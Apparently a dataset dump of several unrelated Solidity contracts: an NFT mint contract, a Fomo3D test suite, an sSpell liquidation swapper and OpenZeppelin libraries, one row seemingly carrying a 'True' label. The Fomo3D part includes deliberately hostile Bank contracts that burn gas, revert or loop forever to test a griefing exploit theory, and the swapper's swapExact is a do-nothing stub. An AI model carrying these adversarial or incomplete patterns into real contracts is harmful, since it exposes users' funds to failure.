using SafeMath for uint256;
uint maxSupply=10000;
uint private tokenId=1;
bool public isPreSalePaused=true;
bool public isPaused=true;
uint public publicMintCounter=3;
struct SpecificAddresses{
address userAddress;
uint counter;
}
struct PublicMintAddresses{
address userAddress;
uint counter;
}
mapping(address => SpecificAddresses) public _whiteList;
mapping(address => PublicMintAddresses) public _publicMintList;
mapping(address=>bool) public _addressExist;
mapping(address=>bool) public _publicAddressExist;
constructor(string memory baseURI) ERC721("Degen Santas", "SANTA") {
setBaseURI(baseURI);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseURI = baseURI;
}
function flipPauseStatus() public onlyOwner {
isPaused = !isPaused;
}
function updatePublicMintCounter(uint counter) public onlyOwner {
publicMintCounter = counter;
}
function flipPreSalePauseStatus() public onlyOwner {
isPreSalePaused = !isPreSalePaused;
}
function addWhiteListBundle(address[] memory whiteAddress,uint [] memory counter)public onlyOwner {
for (uint i = 0; i < whiteAddress.length; i++)
{
require(!_addressExist[whiteAddress[i]],"Address already Exist");
_whiteList[whiteAddress[i]]=SpecificAddresses({
userAddress :whiteAddress[i],
counter:counter[i]
});
_addressExist[whiteAddress[i]]=true;
}
}
function preSalemint(uint quantity) public {
require(isPreSalePaused == false, "Sale is not active at the moment");
require(totalSupply()+quantity<=maxSupply,"Quantity is greater than remaining Supply");
require(_addressExist[msg.sender]==true,"Address not Found in whitelist");
SpecificAddresses storage myaddress = _whiteList[msg.sender];
require(myaddress.counter>=quantity,"The Amount Selected is Greater than the Remaining Amount of the Token at this Address");
for (uint256 i; i < quantity; i++) {
_safeMint(msg.sender, totalsupply());
tokenId++;
}
myaddress.counter-=quantity;
}
function mint(uint quantity) public {
require(isPaused == false, "Sale is not active at the moment");
require(quantity>0,"quantity less than one");
require(totalSupply()+quantity<=maxSupply,"Quantity is greater than remaining Supply");
if(_publicAddressExist[msg.sender]==false)
{
_publicMintList[msg.sender]=PublicMintAddresses({
userAddress :msg.sender,
counter:publicMintCounter
});
PublicMintAddresses storage myaddress = _publicMintList[msg.sender];
require(quantity<=myaddress.counter,"The Amount Selected is Greater than the Remaining Amount of the Token at this Address");
for (uint256 i; i < quantity; i++) {
_safeMint(msg.sender, totalsupply());
tokenId++;
}
_publicAddressExist[msg.sender]=true;
myaddress.counter-=quantity;
}
else
{
PublicMintAddresses storage myaddress = _publicMintList[msg.sender];
require(quantity<=myaddress.counter,"The Amount Selected is Greater than the Remaining Amount of the Token at this Address");
for (uint256 i; i < quantity; i++) {
_safeMint(msg.sender, totalsupply());
tokenId++;
}
myaddress.counter-=quantity;
}
}
function tokensOfOwner(address _owner) public view returns (uint256[] memory)
{
uint256 count = balanceOf(_owner);
uint256[] memory result = new uint256[](count);
for (uint256 index = 0; index < count; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function totalsupply() private view returns (uint)
{
return tokenId;
}
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pragma solidity 0.4.24;
/**
* DO NOT SEND ETH TO THIS CONTRACT ON MAINNET. ITS ONLY DEPLOYED ON MAINNET TO
* DISPROVE SOME FALSE CLAIMS ABOUT FOMO3D AND JEKYLL ISLAND INTERACTION. YOU
* CAN TEST ALL THE PAYABLE FUNCTIONS SENDING 0 ETH. OR BETTER YET COPY THIS TO
* THE TESTNETS.
*
* IF YOU SEND ETH TO THIS CONTRACT IT CANNOT BE RECOVERED. THERE IS NO WITHDRAW.
*
* THE CHECK BALANCE FUNCTIONS ARE FOR WHEN TESTING ON TESTNET TO SHOW THAT ALTHOUGH
* THE CORP BANK COULD BE FORCED TO REVERT TX'S OR TRY AND BURN UP ALL/MOST GAS
* FOMO3D STILL MOVES ON WITHOUT RISK OF LOCKING UP. AND IN CASES OF REVERT OR
* OOG INSIDE CORP BANK. ALL WE AT TEAM JUST WOULD ACCOMPLISH IS JUSTING OURSELVES
* OUT OF THE ETH THAT WAS TO BE SENT TO JEKYLL ISLAND. FOREVER LEAVING IT UNCLAIMABLE
* IN FOMO3D CONTACT. SO WE CAN ONLY HARM OURSELVES IF WE TRIED SUCH A USELESS
* THING. AND FOMO3D WILL CONTINUE ON, UNAFFECTED
*/
// this is deployed on mainnet at: 0x38aEfE9e8E0Fc938475bfC6d7E52aE28D39FEBD8
contract Fomo3d {
// create some data tracking vars for testing
bool public depositSuccessful_;
uint256 public successfulTransactions_;
uint256 public gasBefore_;
uint256 public gasAfter_;
// create forwarder instance
Forwarder Jekyll_Island_Inc;
// take addr for forwarder in constructor arguments
constructor(address _addr)
public
{
// set up forwarder to point to its contract location
Jekyll_Island_Inc = Forwarder(_addr);
}
// some fomo3d function that deposits to Forwarder
function someFunction()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// some fomo3d function that deposits to Forwarder
function someFunction2()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit2()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// some fomo3d function that deposits to Forwarder
function someFunction3()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit3()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// some fomo3d function that deposits to Forwarder
function someFunction4()
public
payable
{
// grab gas left
gasBefore_ = gasleft();
// deposit to forwarder, uses low level call so forwards all gas
if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit4()"))))
{
// give fomo3d work to do that needs gas. what better way than storage
// write calls, since their so costly.
depositSuccessful_ = false;
gasAfter_ = gasleft();
} else {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
}
}
// for data tracking lets make a function to check this contracts balance
function checkBalance()
public
view
returns(uint256)
{
return(address(this).balance);
}
}
// heres a sample forwarder with a copy of the jekyll island forwarder (requirements on
// msg.sender removed for simplicity since its irrelevant to testing this. and some
// tracking vars added for test.)
// this is deployed on mainnet at: 0x8F59323d8400CC0deE71ee91f92961989D508160
contract Forwarder {
// lets create some tracking vars
bool public depositSuccessful_;
uint256 public successfulTransactions_;
uint256 public gasBefore_;
uint256 public gasAfter_;
// create an instance of the jekyll island bank
Bank currentCorpBank_;
// take an address in the constructor arguments to set up bank with
constructor(address _addr)
public
{
// point the created instance to the address given
currentCorpBank_ = Bank(_addr);
}
function deposit()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
function deposit2()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit2.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
function deposit3()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit3.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
function deposit4()
public
payable
returns(bool)
{
// grab gas at start
gasBefore_ = gasleft();
if (currentCorpBank_.deposit4.value(msg.value)(msg.sender) == true) {
depositSuccessful_ = true;
successfulTransactions_++;
gasAfter_ = gasleft();
return(true);
} else {
depositSuccessful_ = false;
gasAfter_ = gasleft();
return(false);
}
}
// for data tracking lets make a function to check this contracts balance
function checkBalance()
public
view
returns(uint256)
{
return(address(this).balance);
}
}
// heres the bank with various ways someone could try and migrate to a bank that
// screws the tx. to show none of them effect fomo3d.
// this is deployed on mainnet at: 0x0C2DBC98581e553C4E978Dd699571a5DED408a4F
contract Bank {
// lets use storage writes to this to burn up all gas
uint256 public i = 1000000;
uint256 public x;
address public fomo3d;
/**
* this version will use up most gas. but return just enough to make it back
* to fomo3d. yet not enough for fomo3d to finish its execution (according to
* the theory of the exploit. which when you run this you'll find due to my
* use of ! in the call from fomo3d to forwarder, and the use of a normal function
* call from forwarder to bank, this fails to stop fomo3d from continuing)
*/
function deposit(address _fomo3daddress)
external
payable
returns(bool)
{
// burn all gas leaving just enough to get back to fomo3d and it to do
// a write call in a attempt to make Fomo3d OOG (doesn't work cause fomo3d
// protects itself from this behavior)
while (i > 41000)
{
i = gasleft();
}
return(true);
}
/**
* this version just tries a plain revert. (pssst... fomo3d doesn't care)
*/
function deposit2(address _fomo3daddress)
external
payable
returns(bool)
{
// straight up revert (since we use low level call in fomo3d it doesn't
// care if we revert the internal tx to bank. this behavior would only
// screw over team just, not effect fomo3d)
revert();
}
/**
* this one tries an infinite loop (another fail. fomo3d trudges on)
*/
function deposit3(address _fomo3daddress)
external
payable
returns(bool)
{
// this infinite loop still does not stop fomo3d from running.
while(1 == 1) {
x++;
fomo3d = _fomo3daddress;
}
return(true);
}
/**
* this one just runs a set length loops that OOG's (and.. again.. fomo3d still works)
*/
function deposit4(address _fomo3daddress)
public
payable
returns(bool)
{
// burn all gas (fomo3d still keeps going)
for (uint256 i = 0; i <= 1000; i++)
{
x++;
fomo3d = _fomo3daddress;
}
}
// for data tracking lets make a function to check this contracts balance
function checkBalance()
public
view
returns(uint256)
{
return(address(this).balance);
}
} | True | [
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// SPDX-License-Identifier: MIXED
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected]
// License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected]
// License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File @boringcrypto/boring-solidity/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File contracts/interfaces/ISwapper.sol
// License-Identifier: MIT
pragma solidity 0.6.12;
interface ISwapper {
/// @notice Withdraws 'amountFrom' of token 'from' from the BentoBox account for this swapper.
/// Swaps it for at least 'amountToMin' of token 'to'.
/// Transfers the swapped tokens of 'to' into the BentoBox using a plain ERC20 transfer.
/// Returns the amount of tokens 'to' transferred to BentoBox.
/// (The BentoBox skim function will be used by the caller to get the swapped funds).
function swap(
IERC20 fromToken,
IERC20 toToken,
address recipient,
uint256 shareToMin,
uint256 shareFrom
) external returns (uint256 extraShare, uint256 shareReturned);
/// @notice Calculates the amount of token 'from' needed to complete the swap (amountFrom),
/// this should be less than or equal to amountFromMax.
/// Withdraws 'amountFrom' of token 'from' from the BentoBox account for this swapper.
/// Swaps it for exactly 'exactAmountTo' of token 'to'.
/// Transfers the swapped tokens of 'to' into the BentoBox using a plain ERC20 transfer.
/// Transfers allocated, but unused 'from' tokens within the BentoBox to 'refundTo' (amountFromMax - amountFrom).
/// Returns the amount of 'from' tokens withdrawn from BentoBox (amountFrom).
/// (The BentoBox skim function will be used by the caller to get the swapped funds).
function swapExact(
IERC20 fromToken,
IERC20 toToken,
address recipient,
address refundTo,
uint256 shareFromSupplied,
uint256 shareToExact
) external returns (uint256 shareUsed, uint256 shareReturned);
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
struct Rebase {
uint128 elastic;
uint128 base;
}
/// @notice A rebasing library using overflow-/underflow-safe math.
library RebaseLibrary {
using BoringMath for uint256;
using BoringMath128 for uint128;
/// @notice Calculates the base value in relationship to `elastic` and `total`.
function toBase(
Rebase memory total,
uint256 elastic,
bool roundUp
) internal pure returns (uint256 base) {
if (total.elastic == 0) {
base = elastic;
} else {
base = elastic.mul(total.base) / total.elastic;
if (roundUp && base.mul(total.elastic) / total.base < elastic) {
base = base.add(1);
}
}
}
/// @notice Calculates the elastic value in relationship to `base` and `total`.
function toElastic(
Rebase memory total,
uint256 base,
bool roundUp
) internal pure returns (uint256 elastic) {
if (total.base == 0) {
elastic = base;
} else {
elastic = base.mul(total.elastic) / total.base;
if (roundUp && elastic.mul(total.base) / total.elastic < base) {
elastic = elastic.add(1);
}
}
}
/// @notice Add `elastic` to `total` and doubles `total.base`.
/// @return (Rebase) The new total.
/// @return base in relationship to `elastic`.
function add(
Rebase memory total,
uint256 elastic,
bool roundUp
) internal pure returns (Rebase memory, uint256 base) {
base = toBase(total, elastic, roundUp);
total.elastic = total.elastic.add(elastic.to128());
total.base = total.base.add(base.to128());
return (total, base);
}
/// @notice Sub `base` from `total` and update `total.elastic`.
/// @return (Rebase) The new total.
/// @return elastic in relationship to `base`.
function sub(
Rebase memory total,
uint256 base,
bool roundUp
) internal pure returns (Rebase memory, uint256 elastic) {
elastic = toElastic(total, base, roundUp);
total.elastic = total.elastic.sub(elastic.to128());
total.base = total.base.sub(base.to128());
return (total, elastic);
}
/// @notice Add `elastic` and `base` to `total`.
function add(
Rebase memory total,
uint256 elastic,
uint256 base
) internal pure returns (Rebase memory) {
total.elastic = total.elastic.add(elastic.to128());
total.base = total.base.add(base.to128());
return total;
}
/// @notice Subtract `elastic` and `base` to `total`.
function sub(
Rebase memory total,
uint256 elastic,
uint256 base
) internal pure returns (Rebase memory) {
total.elastic = total.elastic.sub(elastic.to128());
total.base = total.base.sub(base.to128());
return total;
}
/// @notice Add `elastic` to `total` and update storage.
/// @return newElastic Returns updated `elastic`.
function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) {
newElastic = total.elastic = total.elastic.add(elastic.to128());
}
/// @notice Subtract `elastic` from `total` and update storage.
/// @return newElastic Returns updated `elastic`.
function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) {
newElastic = total.elastic = total.elastic.sub(elastic.to128());
}
}
// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IBatchFlashBorrower {
function onBatchFlashLoan(
address sender,
IERC20[] calldata tokens,
uint256[] calldata amounts,
uint256[] calldata fees,
bytes calldata data
) external;
}
// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IFlashBorrower {
function onFlashLoan(
address sender,
IERC20 token,
uint256 amount,
uint256 fee,
bytes calldata data
) external;
}
// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
interface IStrategy {
// Send the assets to the Strategy and call skim to invest them
function skim(uint256 amount) external;
// Harvest any profits made converted to the asset and pass them to the caller
function harvest(uint256 balance, address sender) external returns (int256 amountAdded);
// Withdraw assets. The returned amount can differ from the requested amount due to rounding.
// The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for.
function withdraw(uint256 amount) external returns (uint256 actualAmount);
// Withdraw all assets in the safest way possible. This shouldn't fail.
function exit(uint256 balance) external returns (int256 amountAdded);
}
// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IBentoBoxV1 {
event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress);
event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);
event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver);
event LogRegisterProtocol(address indexed protocol);
event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved);
event LogStrategyDivest(address indexed token, uint256 amount);
event LogStrategyInvest(address indexed token, uint256 amount);
event LogStrategyLoss(address indexed token, uint256 amount);
event LogStrategyProfit(address indexed token, uint256 amount);
event LogStrategyQueued(address indexed token, address indexed strategy);
event LogStrategySet(address indexed token, address indexed strategy);
event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage);
event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share);
event LogWhiteListMasterContract(address indexed masterContract, bool approved);
event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function balanceOf(IERC20, address) external view returns (uint256);
function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results);
function batchFlashLoan(IBatchFlashBorrower borrower, address[] calldata receivers, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data) external;
function claimOwnership() external;
function deploy(address masterContract, bytes calldata data, bool useCreate2) external payable;
function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut);
function flashLoan(IFlashBorrower borrower, address receiver, IERC20 token, uint256 amount, bytes calldata data) external;
function harvest(IERC20 token, bool balance, uint256 maxChangeAmount) external;
function masterContractApproved(address, address) external view returns (bool);
function masterContractOf(address) external view returns (address);
function nonces(address) external view returns (uint256);
function owner() external view returns (address);
function pendingOwner() external view returns (address);
function pendingStrategy(IERC20) external view returns (IStrategy);
function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function registerProtocol() external;
function setMasterContractApproval(address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) external;
function setStrategy(IERC20 token, IStrategy newStrategy) external;
function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external;
function strategy(IERC20) external view returns (IStrategy);
function strategyData(IERC20) external view returns (uint64 strategyStartDate, uint64 targetPercentage, uint128 balance);
function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount);
function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share);
function totals(IERC20) external view returns (Rebase memory totals_);
function transfer(IERC20 token, address from, address to, uint256 share) external;
function transferMultiple(IERC20 token, address from, address[] calldata tos, uint256[] calldata shares) external;
function transferOwnership(address newOwner, bool direct, bool renounce) external;
function whitelistMasterContract(address masterContract, bool approved) external;
function whitelistedMasterContracts(address) external view returns (bool);
function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut);
}
// File contracts/swappers/Liquidations/sSpellSwapper.sol
// License-Identifier: MIT
pragma solidity 0.6.12;
interface CurvePool {
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);
}
interface IsSpell {
function burn(address to, uint256 shares) external returns (bool);
}
interface TetherToken {
function approve(address _spender, uint256 _value) external;
}
contract SSpellSwapperV1 is ISwapper {
using BoringMath for uint256;
// Local variables
IBentoBoxV1 public constant bentoBox = IBentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
CurvePool public constant MIM3POOL = CurvePool(0x5a6A4D54456819380173272A5E8E9B9904BdF41B);
TetherToken public constant TETHER = TetherToken(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IsSpell public constant sSpell = IsSpell(0x26FA3fFFB6EfE8c1E69103aCb4044C26B9A106a9);
IERC20 public constant SPELL = IERC20(0x090185f2135308BaD17527004364eBcC2D37e5F6);
IUniswapV2Pair constant SPELL_ETH = IUniswapV2Pair(0xb5De0C3753b6E1B4dBA616Db82767F17513E6d4E);
IUniswapV2Pair constant pair = IUniswapV2Pair(0x06da0fd433C1A5d7a4faa01111c044910A184553);
constructor(
) public {
TETHER.approve(address(MIM3POOL), type(uint256).max);
}
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// Given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// Swaps to a flexible amount, from an exact input amount
/// @inheritdoc ISwapper
function swap(
IERC20 fromToken,
IERC20 toToken,
address recipient,
uint256 shareToMin,
uint256 shareFrom
) public override returns (uint256 extraShare, uint256 shareReturned) {
{
(uint256 amountSSpellFrom, ) = bentoBox.withdraw(fromToken, address(this), address(this), 0, shareFrom);
sSpell.burn(address(SPELL_ETH), amountSSpellFrom);
}
uint256 amountFirst;
{
uint256 amountFrom = SPELL.balanceOf(address(SPELL_ETH));
(uint256 reserve0, uint256 reserve1, ) = SPELL_ETH.getReserves();
amountFirst = getAmountOut(amountFrom, reserve0, reserve1);
}
SPELL_ETH.swap(0, amountFirst, address(pair), new bytes(0));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountIntermediate = getAmountOut(amountFirst, reserve0, reserve1);
pair.swap(0, amountIntermediate, address(this), new bytes(0));
uint256 amountTo = MIM3POOL.exchange_underlying(3, 0, amountIntermediate, 0, address(bentoBox));
(, shareReturned) = bentoBox.deposit(toToken, address(bentoBox), recipient, amountTo, 0);
extraShare = shareReturned.sub(shareToMin);
}
// Swaps to an exact amount, from a flexible input amount
/// @inheritdoc ISwapper
function swapExact(
IERC20 fromToken,
IERC20 toToken,
address recipient,
address refundTo,
uint256 shareFromSupplied,
uint256 shareToExact
) public override returns (uint256 shareUsed, uint256 shareReturned) {
return (0,0);
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
